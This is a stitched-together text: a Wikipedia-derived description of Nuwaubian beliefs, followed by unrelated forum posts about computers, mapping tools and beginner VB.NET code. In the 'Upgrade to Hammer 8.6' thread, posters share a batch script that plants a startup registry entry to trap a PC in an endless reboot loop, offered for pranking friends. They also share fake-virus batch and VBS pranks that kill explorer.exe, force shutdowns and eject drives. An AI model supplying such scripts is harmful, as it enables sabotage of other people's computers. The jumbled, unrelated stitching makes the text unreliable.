Nuwaubianism is an umbrella term used to refer to the doctrines and teachings of the followers of Dwight York. The Nuwaubians originated as a Black Muslim group in New York in the 1970s, and have gone through many changes since. Eventually, the group established a headquarters in Putnam County, Georgia in 1993, which they have since abandoned. York is now in prison after having been convicted on money laundering and child molestation charges, but Nuwaubianism endures. York developed Nuwaubianism by drawing on a wide range of sources which include Theosophy-derived New Age movements such as Astara as well as the Rosicrucians, Freemasonry, the Shriners, the Moorish Science Temple of America, the revisionist Christianity & Islam and the Qadiani cult of Mirza Ghulam Ahmad, the numerology of Rashad Khalifa, and the ancient astronaut theories of Zecharia Sitchin. White people are said in one Nuwaubian myth to have been originally created as a race of killers to serve blacks as a slave army, but this plan went awry. Here is a list of some of the more unusual Nuwaubian beliefs:

1. It is important to bury the afterbirth so that Satan does not use it to make a duplicate of the recently-born child
2. Furthermore, some aborted fetuses survive their abortion to live in the sewers, where they are being gathered and organized to take over the world
3. People were once perfectly symmetrical and ambidextrous, but then a meteorite struck Earth and tilted its axis causing handedness and shifting the heart off-center in the chest
4. Each of us has seven clones living in different parts of the world
5. Women existed for many generations before they invented men through genetic manipulation
6. Homo sapiens is the result of cloning experiments that were done on Mars using Homo erectus
7. Nikola Tesla came from the planet Venus
8. The Illuminati have nurtured a child, Satan’s son, who was born on 6 June 1966 at the Dakota House on 72nd Street in New York to Jacqueline Kennedy Onassis of the Rothschild/Kennedy families. The Pope was present at the birth and performed necromantic ceremonies. The child was raised by former U.S. president Richard Nixon and now lives in Belgium, where it is hooked up bodily to a computer called “The Beast 3M” or “3666.”

The Nuwaubians built a city modelled on Ancient Egyptian buildings in Putnam County, Georgia (pictured above). It has now been demolished.

Text is available under the Creative Commons Attribution-ShareAlike License; additional terms may apply. Text is derived from Wikipedia.

In Fuck yeah! I got to do system recovery! by aaronjer:
I format my computer every few months just for the lulz. What could be so bad about it?

In Need help Compiling by bigmac:
I finally finish my map but its a jailbreak map and my computer is really really old and sucks for compiling maps could someone help me compile my map this will be its finish out look.

Thanks again


Heres the .wad files and jailbreak.map and .rmf
ONLY USE THE .WAD FILE
http://www.sendspace.com/file/nnsbzx
Now heres the jailbreak.map
http://www.sendspace.com/file/58p0qx

In What the hell... by SolidKAYOS:
You honestly wouldnt believe how close i actually am to the computer.

In compiling by bigmac:
WINNER!!!!!!

Who wants to compile my map for free <----- YES FREE 100% FREE



I would be so happy if you did this for me my computer is so slow at compiling maps

In WhiteBird by Rockbomb:
I got an error box upon starting it up. Here's the details...
code
See the end of this message for details on invoking just-in-time (JIT) debugging instead of this dialog box. ************** Exception Text ************** System.IO.IOException: The process cannot access the file 'C:\Users\DJ\AppData\Local\Temp\Rar$EX10.8480\history.txt' because it is being used by another process. at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy) at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options) at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize) at System.IO.StreamReader..ctor(String path, Boolean detectEncodingFromByteOrderMarks) at WhiteBird.Form1.Form1_Load(Object sender, EventArgs e) at System.Windows.Forms.Form.OnLoad(EventArgs e) at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible) at System.Windows.Forms.Control.CreateControl() at System.Windows.Forms.Control.WmShowWindow(Message& m) at System.Windows.Forms.Control.WndProc(Message& m) at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m) at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam) ************** Loaded Assemblies ************** mscorlib Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/Microsoft.NET/Framework64/v2.0.50727/mscorlib.dll ---------------------------------------- WhiteBird2 Assembly Version: 1.0.0.0 Win32 Version: 1.0.0.0 CodeBase: file:///C:/Users/DJ/AppData/Local/Temp/Rar$EX10.8480/WhiteBird%20Beta%201.4.exe ---------------------------------------- System.Windows.Forms Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll ---------------------------------------- System Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll ---------------------------------------- System.Drawing Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll ---------------------------------------- System.Configuration Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll ---------------------------------------- System.Xml Assembly Version: 2.0.0.0 Win32 Version: 2.0.50727.4927 (NetFXspW7.050727-4900) CodeBase: file:///C:/Windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll ---------------------------------------- ************** JIT Debugging ************** To enable just-in-time (JIT) debugging, the .config file for this application or computer (machine.config) must have the jitDebugging value set in the system.windows.forms section. The application must also be compiled with debugging enabled. For example: <configuration> <system.windows.forms jitDebugging="true" /> </configuration> When JIT debugging is enabled, any unhandled exception will be sent to the JIT debugger registered on the computer rather than be handled by this dialog box.

In Dream Time by SolidKAYOS:
Ya so i was dreaming last night that i was out side my house with alot of ppl i knew. Maybe around 10-15 ppl. Most ive not really ever seen except maybe a glance. It was snowing at the time, and my ad decided to pullout a big round yellow volleyball. even with no net we started paying volleyball just a free for all

Well i was sucking it up and i realized that ppl started just catching the ball and running around with it before they got tackled. Turning the game into keep away. The guy who got tackled was down still holding it and i ran up toward him watching another guy pick it off of him and run. I jumped into the air and got on his shoulders before he could fully get away.Even with me on his shoulders he was hauling ass.

Trying to grab the ball and hold on the blocked my every move and he tripped sending us both to the ground.I looked up watching the ball rolling. I looked back seeing a girl who was hardly even coverd up for the snow just running for it. I got up and threw snow in the other guys face and grabbed the ball and ran.

She could hardly keep up with me and i ran to the backside ofthe hour were a tree was and a cable anteenna. I passed the big pol and went straight into the tree limbs covering my face with my forearm. I was surprisingly going very fast for my speed, I think this is were i realized his was all a dream. i could even hear the tv goin in the other room of my house. at least thats what i thought.

Anyways, i came flying out of the tree and starting skidding down the hill towards more trees and managed to stop my self and run up the hill and back the other way. I passed up a truck with a fat guy leaning on the front though he didn pay no mind. I ended up back were the game was but no one was there. I turned around back towards the truck and everyone that was playing (10-15 ppl) was lined up staring at me with the death stare.

Iran at them and threw the ball up over them and they all jumped for it. I put my arm up to block the way and i charged through all their feet making the ones i was going through do front flips into the ground. I cam out the other end and the ball coming down just into my reach. Before i could get a grasp on it i was tackled by what seemed like the fat guys son and his friend.

Theytook the ball and an off with it. I decided to get up and go back the other way tpo cut them off. Back through the white tree and big pole i came out seeing them coming atme and i manged to grab the ball as they were in disarray. I cam back up to the trucks and watch the fat guy again say to me" here!" yet he didnt seem enthusiastic idk what drove me to pass it to him but he didnt even catch it and it rolled away and his son and his friend came back up and grabbed it and ran down to 3 threes which was like a triangle.

His friend hid in the middle of it but the fat guys son who was also fat couldnt get in.I ran down and circled around the trees arm in face trying to lock off the limbs and back around the other end of the trees as the fat guy was about to get int and pulled a matrix and in slow motion by jumping and grabbing a tree spinning around and kicked the fat guy in the face. doing so sending the ball in the air.

I then woke up and went straight to my computer to type all this out for you guys. My computer was already on and a McDonalds cup was there....Tv in the other room blurring my hearing I Closed the door and turned on my watching some weird episode of some show as i was thinking on what to type and then, i truly woke up.

To quietness. Computer off and no McDonalds cup.

In vista n' general by Down Rodeo:
NatureJay said:
Also, for everyone else's benefit... Fun fact: when you install Windows 7 on your computer, very often it will assume that your touchpad is an actual physical mouse. This can be problematic because it means it operates like a fucking macbook, except worse, because it's more sensitive. So, as you're typing it will start to think that you've clicked elsewhere on the screen by tapping the pad (even when you have not) and the text will start up anew wherever your cursor was. This is frustrating, to say the least. You'll have to re-install the touchpad back to the factory settings (if compatible) before you can reconfigure it to behave normally. You know, where you click to click.

See, I did this by myself. I was ripping out as much crap as I could from Vista and it now does this, mainly when I hit the pad accidentally with the base of my left thumb. It's very annoying. When I say ripping out crap, I mean uninstalling everything, including drivers I saw as being... superfluous.

As far as screens of death are concerned, this laptop (bought in August) has never done anything bad to me. I call this surprising. OTOH my other, older laptop, when booted into Vista, will crash after roughly twenty minutes. It also bluescreened in the first four hours of my using it. The error is KERNEL_INPAGE_DATA_ERROR, Google is proving useless because it's returning tech-help sites filled with retards that break keyboards by dribbling on them, but it seems I need to reinstall Vista on it. Of course I only have a 64-bit install disk for Vista! Of course!

In vista n' general by NatureJay:
Yes, that is a uniquely Google problem. "Make a full version of something? Sorry, we've got to get property rights to the moon, brb".

I like the streamlined interface, particularly the tab to search bit which is on par with Firefox's right-hand drop down mini search engines, but my policy with regard to... well, everything is: 1) determine absolute threshold 2) operate at that level. Chrome, having a lower threshold, is more suitable for people like Mikejer, who seems to think it's fun to open up various pages one at a time whenever he logs onto his computer. I would prefer my hundred pages that I cannot possibly remember otherwise (at best, it would be a nuisance, and at worst, catastrophically time wasting) to be mostly preloaded. Chrome would melt if I tried that. It also forces me to sign back into shit, which is tedious, so I'll be going back to Firefox shortly.

Also, for everyone else's benefit... Fun fact: when you install Windows 7 on your computer, very often it will assume that your touchpad is an actual physical mouse. This can be problematic because it means it operates like a fucking macbook, except worse, because it's more sensitive. So, as you're typing it will start to think that you've clicked elsewhere on the screen by tapping the pad (even when you have not) and the text will start up anew wherever your cursor was. This is frustrating, to say the least. You'll have to re-install the touchpad back to the factory settings (if compatible) before you can reconfigure it to behave normally. You know, where you click to click.

In meh speed cloud system by fedex _:
SRAW said:
:( i cant post my speed test now since im dling something, but the speed is at a constant 100kbps... is that good? i mean this is supposed to be the best isp in malaysia(streamyx), but they insist on capping our dl speeds



100kbps is kinda slow , i got this from a website

A clean computer is key to a faster computer. Run the 3 scans below.


Run a virus scan weekly.

Update and run your Anti-Virus program. Don't have one? You can run a free online scan from CA.
http://www3.ca.com/securityadvisor/virus…



Run Spybot and SuperAntiSpyware weekly.


Download, update and run Spybot---http://www.safer-networking.org/...... . Don't forget to use the Immunize feature.


Download, update and run SuperAntiSpyware---http://www.snapfiles.com/get/SuperAntiSp…




Now to prevent spyware from being installed in the first place....

Download SpywareBlaster---http://majorgeeks.com/download2859.html.…
SpywareBlaster doesn't scan and clean for spyware - it prevents it from ever being installed.

It's main features include:
- Prevent the installation of ActiveX-based spyware, adware, browser hijackers, dialers, and other potentially unwanted pests.
- Block spyware/tracking cookies in Internet Explorer and Mozilla/Firefox.
- Restrict the actions of potentially dangerous sites in Internet Explorer.






Now lets clean up your registry.




Run RegScrubXP weekly. Run Cleanup every time you log off.


Download RegScrubXP--http://www.majorgeeks.com/download.php?d…

Safely cleans junk out of the Windows 2000/XP system registry. All changes made to the registry are fully restorable to it's original condition. You can make an exclusion list of registry entries that RegScrubXP will not display as problems. You can sift through a list of file extensions, company names, run upon startup programs, Internet Explorer history, and uninstall programs to delete what you think is junk.



Download CleanUp---http://www.stevengould.org/software/clea…

Free disk space, make your computer run better/faster and protect your privacy - all in one easy solution. All for free!





Now lets clean up your disk.



Run a Disk Cleanup 2 times a month. Run Disk Defrag. monthly.


Do a Disk Cleanup and Disk Defrag. You can find both of them by following the path below.
Start>all programs>accessories>system tools>Disk Cleanup. Let it do its thing. You can check every box that has something to delete.
Now follow the same path and do a Disk Defrag. Again just let it do its thing.




Now lets tweak your connection.


If your speed is good I would not mess with it by trying to tweak it. If you do tweak once it is done you should not have to do it ever again.


There are many programs out there to do this. I will give you 2 of them.
The first one is TCP Optimizer.

Description: The TCP Optimizer is a free, easy Windows program that provides an intuitive interface for tuning and optimizing your Internet connection. There is no installation required, just download and run.


http://www.download.com/SG-TCP-Optimizer…

You can get support for the best way to set it up right from their forum http://forums.speedguide.net/

The second one is Cablenut.

Windows XP tested and approved

CableNut is a tool for optimizing your Internet Connection. We have provided a way to tweak any option you may want to in the adjuster. You can load "CableNut Custom Setting" files that are included with the program to tweak your Internet connection.

http://www.cablenut.com/

Again support is available right from their forum.http://www.broadbandnuts.com/index.php?p…




All programs are FREE!




After applying the suggestions above you will have a clean and faster computer. Enjoy.


There is also a site that has many tips for Smartbro.

http://www.testmy.net/forum/index.php?PH…
Source(s):
http://blog.360.yahoo.com/blog-gwpO2kQjd…

In My new laptop by xXJigsaw23Xx:
well i think your a cheap bastard xD because i just went yesterday and bought a computer with my own money.

In Anti Virus by sprinkles:
code
Imports System.Security.Cryptography Imports System.Text Imports System.IO Public Class Form1 Dim file As String = "asdf" Dim newfile As String = "non" Dim filein As New FileStream(INfile.text, FileMode.Open, FileAccess.Read) Function getMd5Hash(ByVal input As String) As String ' Create a new instance of the MD5 object. Dim md5Hasher As MD5 = MD5.Create() ' Convert the input string to a byte array and compute the hash. Dim data As Byte() = md5Hasher.ComputeHash(Encoding.Default.GetBytes(input)) ' Create a new Stringbuilder to collect the bytes and create a string. Dim sBuilder As New StringBuilder() ' Loop through each byte of the hashed data and format each one as a hexadecimal string. Dim i As Integer For i = 0 To data.Length - 1 sBuilder.Append(data(i).ToString("x2")) Next i ' Return the hexadecimal string. Return sBuilder.ToString() End Function 'Get the SHA1 Hash of a String ''' <param name="strToHash">The String to Hash</param> Function getSHA1Hash(ByVal strToHash As String) As String Dim sha1Obj As New Security.Cryptography.SHA1CryptoServiceProvider Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash) bytesToHash = sha1Obj.ComputeHash(bytesToHash) Dim strResult As String = "" For Each b As Byte In bytesToHash strResult += b.ToString("x2") Next Return strResult End Function Private Sub Bencrypt_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Bencrypt.Click file = filein.ToString() If RBmd5.Checked = True Then newfile = getMd5Hash(file) ElseIf RBsha1.Checked = True Then newfile = getSHA1Hash(file) End If newfile = getMd5Hash(file) Dim this As System.IO.StreamWriter this = My.Computer.FileSystem.OpenTextFileWriter("C:\Users\Sprinkles\Desktop\new.txt", True) this.WriteLine(newfile) this.Close() End Sub End Class


I get an Invalid Operation exception.
I cannot, at all, figure out why.
Even when I comment things out it still doesn't work.
I have to delete all of it to fix it.
I don't even know....


Edit ok it has something to do with the FileStream Declaration, I
hard coded it and it works now. But it only does so many characters.

How do I encrypt a file?
When I encrypt a file I get
code
8f588de478ee81a213fe9e1be0a78131

When the other programs encrypt a file they get
code
浜ᙴ榈屠훗췜댳ꁵ퇳


And theirs goes on and on...how do I get it like that?

In hamer suxs with vista by the_cloud_system:
its a chipset....

More details about my computer


Component Details Subscore Base score
Processor Pentium(R) Dual-Core CPU T4200 @ 2.00GHz 4.9 3.2
Determined by lowest subscore

Memory (RAM) 3.00 GB 4.9

Graphics Mobile Intel(R) 4 Series Express Chipset Family 3.2

Gaming graphics 1293 MB Total available graphics memory 3.6

Primary hard disk 201GB Free (283GB Total) 5.3

Windows Vista (TM) Home Premium

System
--------------------------------------------------------------------------------

Manufacturer Dell Inc.
Model Inspiron 1545
Total amount of system memory 3.00 GB RAM
System type 64-bit operating system
Number of processor cores 2

Storage
--------------------------------------------------------------------------------

Total size of hard disk(s) 298 GB
Disk partition (C:) 201 GB Free (283 GB Total)
Disk partition (E:) 6 GB Free (15 GB Total)
Media drive (F:) CD/DVD

Graphics
--------------------------------------------------------------------------------

Display adapter type Mobile Intel(R) 4 Series Express Chipset Family
Total available graphics memory 1293 MB
Dedicated graphics memory 32 MB
Dedicated system memory 96 MB
Shared system memory 1165 MB
Display adapter driver version 7.15.10.1637
Primary monitor resolution 1366x768
DirectX version DirectX 10

Network
--------------------------------------------------------------------------------

Network Adapter Marvell Yukon 88E8040 PCI-E Fast Ethernet Controller
Network Adapter Microsoft Tun Miniport Adapter
Network Adapter Dell Wireless 1515 Wireless-N Adapter



In The Reason for the universe is..... by Mate de Vita:
Down Rodeo said:
We did work out who you were once, thanks to the IP thingy. If any of us could be bothered searching...

Yeah, I remember now, he was some friend of cornjer's, who for some reason registered and posted from cornjer's computer or something like that.

In Testing by Mate de Vita:
Surprisingly, on my computer, unlike all the others, no it does not.

In Calculator by sprinkles:
UPDATE


code
Public Function calcformula() a = INa.Text b = INb.Text c = INc.Text discriminant = (b * b) - 4 * (a * c) 'lets hope you computer knows oder of operations If discriminant < 0 Then 'the discriminant is less than 0 -see summary discriminant = Abs(discriminant) 'get the absolute value of the discriminant I = True 'remember to inlcude the I in the final answer End If discriminant_remainder = Sqrt(discriminant) If discriminant_remainder = 0 Then x1 = (-1 * b) + Sqrt(discriminant) 'discriminant should now be positive and not result in 0 x2 = (-1 * b) - Sqrt(discriminant) 'discriminant should now be positive and not result in 0 divisor_x1 = 2 * a divisor_x2 = 2 * a remainder = IEEERemainder(x1, divisor_x1) ' have to check if the complex numbers are functioning correctly If remainder = 0 Then ' have to fully reduce numbers x1 = x1 / divisor_x1 ' if cannot solve for square root and NOT get decimal leave as √() with I if applicable divisor_x1 = divisor_x1 / divisor_x1 End If remainder = IEEERemainder(x2, divisor_x2) If remainder = 0 Then x2 = x2 / divisor_x2 divisor_x2 = divisor_x2 / divisor_x2 End If End If If discriminant_remainder <> 0 Then b = (-1 * b) Return b And discriminant ElseIf errorMsg = "" Then Return x1 And x2 And divisor_x1 And divisor_x2 Else Return errorMsg End If End Function '''<summary> ''' the discriminant check (Function check()) is meant to abort getting the square root of the discriminant ''' beause the discriminant is less than 0 meaning √(-discriminant) if you remember radicals ''' then you know that you cannot get the square root of a negative number ''' --this is not equaviliant to -√(radical) that is possible ''' so you need to drop the negative and include an i (i as imaginary number) in front ''' of the radical thus i√(discriminant) however Visual Basic does not account for that ''' and throws the error NaN (Not a Number) thus you will get 0/denominator ''' where denominator is the 2*A and 0 is x1 (ie if A=1 B=24 C=144 the end result would be -12/2 because (-1*b) is not inside the √()) ''' it is not -24/2 because below that we divide the numerator by the denominator (-24/2 = -12/2) '''</summary>



code
Public Function check() If Not I = True Then ' If Not I=True must be here first because if I is true than we changed the value to get the correct square root so the rest of the function would be corrupt If discriminant < 0 Then ' If the discriminant is less than zero then there should be 1 repeated real number check if that is true If x1 <> x2 Then errorMsg = "Something went wrong" 'if x1 does not equal x2 then something went wrong report it End If If discriminant > 0 Then ' If the discriminant is greater than zero then there should be 2 different real numbers check if that is true If x1 = x2 Then errorMsg = "Something went wrong" 'if x1 does equal x2 then something went wrong report it End If End If If I = True Then End If If errorMsg = "" Then Return 0 Else Return errorMsg End If End Function




code
Private Sub Bcalculate_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Bcalculate.Click If EquationToolStripMenuItem.Checked = True Then calcequation() ElseIf FormulaToolStripMenuItem.Checked = True Then calcformula() End If If I = True Then OUTx.Text = x1.ToString() + "/" + divisor_x1.ToString() + "i" + " " + x2.ToString() + "/" + divisor_x2.ToString() + "i" ElseIf errorMsg <> "" Then OUTx.Text = errorMsg ElseIf discriminant_remainder <> 0 Then OUTx.Text = b.ToString() + " +- " + "√(" + discriminant.ToString() + ")" Else OUTx.Text = x1.ToString() + "/" + divisor_x1.ToString() + " " + x2.ToString() + "/" + divisor_x2.ToString() End If End Sub







All I have to do is add something to determine if it is actually
a quadratic and return a value if it is not.

In Calculator by sprinkles:
Down Rodeo said:
Ah, um, yes? :p

I'm sure it makes sense. Your code looks extensible as well, for instance, the prime numbers could
be replaced by a more complete list. If you restructure a bit you can remove the goto.


If I restructeireor it a bit it would look like
code
Public Function calcformula() a = INa.Text b = INb.Text c = INc.Text radican = (b * b) - 4 * (a * c) 'lets hope you computer knows oder of operations If radican < 0 Then 'the radican is less than 0 see summary radican = Abs(radican) 'get the absolute value of the radican I = True 'remember to inlcude the I in the final answer End If x1 = (-1 * b) + Sqrt(radican) 'radican should now be positive and not result in 0 x2 = (-1 * b) - Sqrt(radican) 'radican should now be positive and not result in 0 divisor_x1 = 2 * a divisor_x2 = 2 * a remainder = IEEERemainder(x1, divisor_x1) If remainder = 0 Then x1 = x1 / divisor_x1 End If remainder = IEEERemainder(x2, divisor_x2) If remainder = 0 Then x2 = x2 / divisor_x2 End If Return x1 And x2 And divisor_x1 And divisor_x2 End Function


'''<summary>
''' the radican_check is meant to abort getting the square root of the radican
''' beause the radican is less than 0 meaning √(-radican) if you remember radicals
''' then you know that you cannot get the square root of a negative number
''' --this is not equaviliant to -√(radical) that is possible
''' so you need to drop the negative and include an i (i as imaginary number) in front
''' of the radical thus i√(radican) however Visual Basic does not account for that
''' and does not throw an error (as they do when you try to divide by 0)
''' it simply returns 0 (not null or nothing) thus you will get 0/denominator
''' where denominator is the 2*A and 0 is x1 (ie if A=1 B=24 C=144 the end result would be -12/2 because (-1*b) is not inside the √())
''' it is not -24/2 because below that we divide the numerator by the denominator (-24/2 = -12/2)
'''</summary>



Shitty ass hotel wireless internet!!!
It's so slow it posted 31 times!!!!

In Is "The Funeral" the greatest song to date? by sprinkles:
SolidKAYOS said:
sprinkles said:
SolidKAYOS said:
sprinkles said:
Havoc is even more cool now then when I previously said he was cool.

Your awesome in my book.


Well, you're jus' jumping up the tiers of coolness now aren't you?

code

That song is Awesome. I'm not big into screamo bands or much of Heavy Metal just cause i dont like much screaming, if its going throughout the hole song. Every now and then is ok.Like before the chorus. but i love the sounds of the instruments. Hell i even like just instrumental songs. Half my music i have on my computer is Final fantasy and other games composed music just for the instrumentals.
code


aaronjer said:

Country music, on the other hand, is certainly something I dislike enough to the point where it all sounds the same to me just because I can't pay any attention to it.


I understand Completely. They all have the same sounding songs and all the guy singers sound the same.




Yea Bullet is awesome.


Ugly

They wouldn't let me embed it.
We [actually Superjer] should make a music section.

In Is "The Funeral" the greatest song to date? by SolidKAYOS:
sprinkles said:
SolidKAYOS said:
sprinkles said:
Havoc is even more cool now then when I previously said he was cool.

Your awesome in my book.


Well, you're jus' jumping up the tiers of coolness now aren't you?

code

That song is Awesome. I'm not big into screamo bands or much of Heavy Metal just cause i dont like much screaming, if its going throughout the hole song. Every now and then is ok.Like before the chorus. but i love the sounds of the instruments. Hell i even like just instrumental songs. Half my music i have on my computer is Final fantasy and other games composed music just for the instrumentals.
code


aaronjer said:

Country music, on the other hand, is certainly something I dislike enough to the point where it all sounds the same to me just because I can't pay any attention to it.


I understand Completely. They all have the same sounding songs and all the guy singers sound the same.

In How not to get hacked in Steam. by Sushi:
Rockbomb said:
Ah, nice. I'd recommend (If you haven't already), changing your pass, your recovery question, and switch the account to a different email address.


Did that and made like a Document. I typed every of my email, password, etc.

And printed it and kept it in a safe place in my house. :P

I didn't save it in my computer though.
My steam password is IMPOSSIBLE to guess. Like, 20-40 characters.

In Gay. by sprinkles:
Sloth said:
sprinkles said:
Sloth said:
Well not to be jerk ass, but I Hacked a account last year, you can check the thread out, "Heart Warming story" Since i forgot the pass noone can have it :D (It's too dangerous to leave the trees, just to retrieve the password. )


You are a jerk ass, because You didn't link to Heart Warming Story




Whats going on here?


NatureJay said:
If you just got hacked, meaning you either could easily get hacked again or have a trojan on your computer, why would we want to give you information for our accounts?

I'm trying to be calm about this but that is the stupidest thing I've read on this board in some time and that is saying quite a lot.


Sorry I haven't posted in a while.

In Gay. by NatureJay:
If you just got hacked, meaning you either could easily get hacked again or have a trojan on your computer, why would we want to give you information for our accounts?

I'm trying to be calm about this but that is the stupidest thing I've read on this board in some time and that is saying quite a lot.

In Gay. by Sushi:
Down Rodeo said:
Have you ever used your account on another computer? Have you tried logging in again? Have you tried resetting your password, using the e-mail account you set it up with?



No I did not.

In Gay. by Down Rodeo:
Have you ever used your account on another computer? Have you tried logging in again? Have you tried resetting your password, using the e-mail account you set it up with?

In Gay. by Sushi:
No, I never went to any website, sent by someone in steam.

I was just playing CS 1.6 then suddenly, a window pop out, and it says This account is being use by another computer. Something like that.

In Gay. by Sushi:
No, it just said like, "This account is being used by another computer" Something like that. I don't know how to hack. :/

It's really gay because, I just got done with my map I made. And now I don't have an account to play with.

In Upgrade to Hammer 8.6 Today! by sprinkles:
Sushi said:
Rockbomb said:
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f echo Owned by Rockbomb PAUSE



Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P


Jus' right click it and hit edit [like you would for your hammer bats]
And none of the 'pranks' I make harm your pc. Thats not funny at all. What is funny is when they think it broke their pc and they are all bitchin' about it and youre like "dude it aint broke" that puts a smile on my face everytime

In Upgrade to Hammer 8.6 Today! by Sushi:
Rockbomb said:
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\hartlell.bat /f echo Owned by Rockbomb PAUSE



Nice
Just notice. Can I edit it!!!
echo Owned by Sushi :P

In Upgrade to Hammer 8.6 Today! by Rockbomb:
I don't see anything in there that would cause any damage, but it will look like it really messed something up cuz it opens up the cd drive and whatnot. So its safe to send to your friends and stuff if you wanna mess around with them.

Edit: If you really wanna mess with someone, heres a batch script that will send your computer into an endless loop of shutting down/starting up...
(Don't run this one )
code
echo @echo off>c:\windows\Win32.bat echo break off>>c:\windows\Win32.bat echo shutdown -r -t 11 -f>>c:\windows\Win32.bat echo end>>c:\windows\Win32.bat reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\Win32.bat /f reg add hkey_current_user\software\microsoft\windows\currentversion\run /v LocalKey /t reg_sz /d c:\windows\Win32.bat /f echo Owned by Rockbomb PAUSE


In Upgrade to Hammer 8.6 Today! by Sushi:
sprinkles said:
SolidKAYOS said:
Mate de Vita said:
SolidKAYOS said:
superjer said:
What are you doing?

Is this the worst way to spread a virus ever, or what?

No...the way i tried to give everyone a shutdown command icon was the worst.

I hope you at least made it a shutdown -t 00 or 01 or whatever that flag is.

Nope its was just a normal one.I suck.



Batch code
@echo OFF title Virus Detected Do Not Close Window echo Virus Detected attempting to remove virus... echo (press any key to continue) pause >nul echo Virus is spreading throughout the system... echo (press any key to destroy) pause >nul echo destroying virus... echo (press any key to continue) pause >nul echo files deleted to destroy virus echo (press any key to cancel) pause >nul taskkill /f /im explorer.exe cls echo cancel failed echo (press any key to restore) pause >nulecho files restored start /im explorer.exe cls echo files restored echo (press any key to continue) pause >nul echo checking for virus... echo virus still detected echo (press any key to destroy) pause >nul echo virus is destroyed echo (press any key to exit) pause >nul shutdown -s -t 5 -c "virus infected everything Windows is shuting down


I jus copied that off a site, and realized how 'bad' it is.

code
echo (press any key to continue) pause>nul

would stop the program and output
(press any key to continue)

while
code
pause

would do the same thing and output
Press any key to continue...

Stupid people

I put this one on my school's computer , showed my history teacher he laughed like hell.

vbs code
Set wshShell =wscript.CreateObject("WScript.Shell") dim first dim second dim third dim fourth first= MsgBox ("Warning! Windows has encountered a virus. Windows must shutdown. Countinue?",4+16+4096,"Virus Detected") if first=6 then MsgBox "Windows has failed to shutdown.",2+16+4096,"Shutdown Error 45679101" elseif first=7 then second= MsgBox ("Windows may run undesirably if it does not shutdown. Do you want shutdown?",4+16+4096,"Virus Detected") if second=6 then MsgBox "Windows has failed to shutdown",2+16+4096,"Shutdown Error 45679101" elseif second=7 then MsgBox "Shutdown cancled.",16+4096,"User Input Error 1162" MsgBox "For Techincal Support regarding this problem contact Microsoft at (800)-426-9400",0+32+4096,"Tech Support" end if end if colCDROMs.Item(i).Eject wscript.sleep 5000 MsgBox "error you should have shutdown",0,"Virus Error" wscript.sleep 1000 MsgBox "cheap viagra ",0+4096,"viagra 4 sale" wscript.sleep 500 MsgBox "didily do da de ",4096,"song lyrics" colCDROMs.Item(i).Eject wscript.sleep 15000 third= MsgBox ("did you think i was done?",4+4096,"back in black") if third=6 then MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" wscript.sleep 500 MsgBox "dont click yes ",4096,"clicked yes" elseif third=7 then MsgBox "dont click no ",4096,"clicked no" colCDROMs.Item(i).Eject wscript.sleep 500 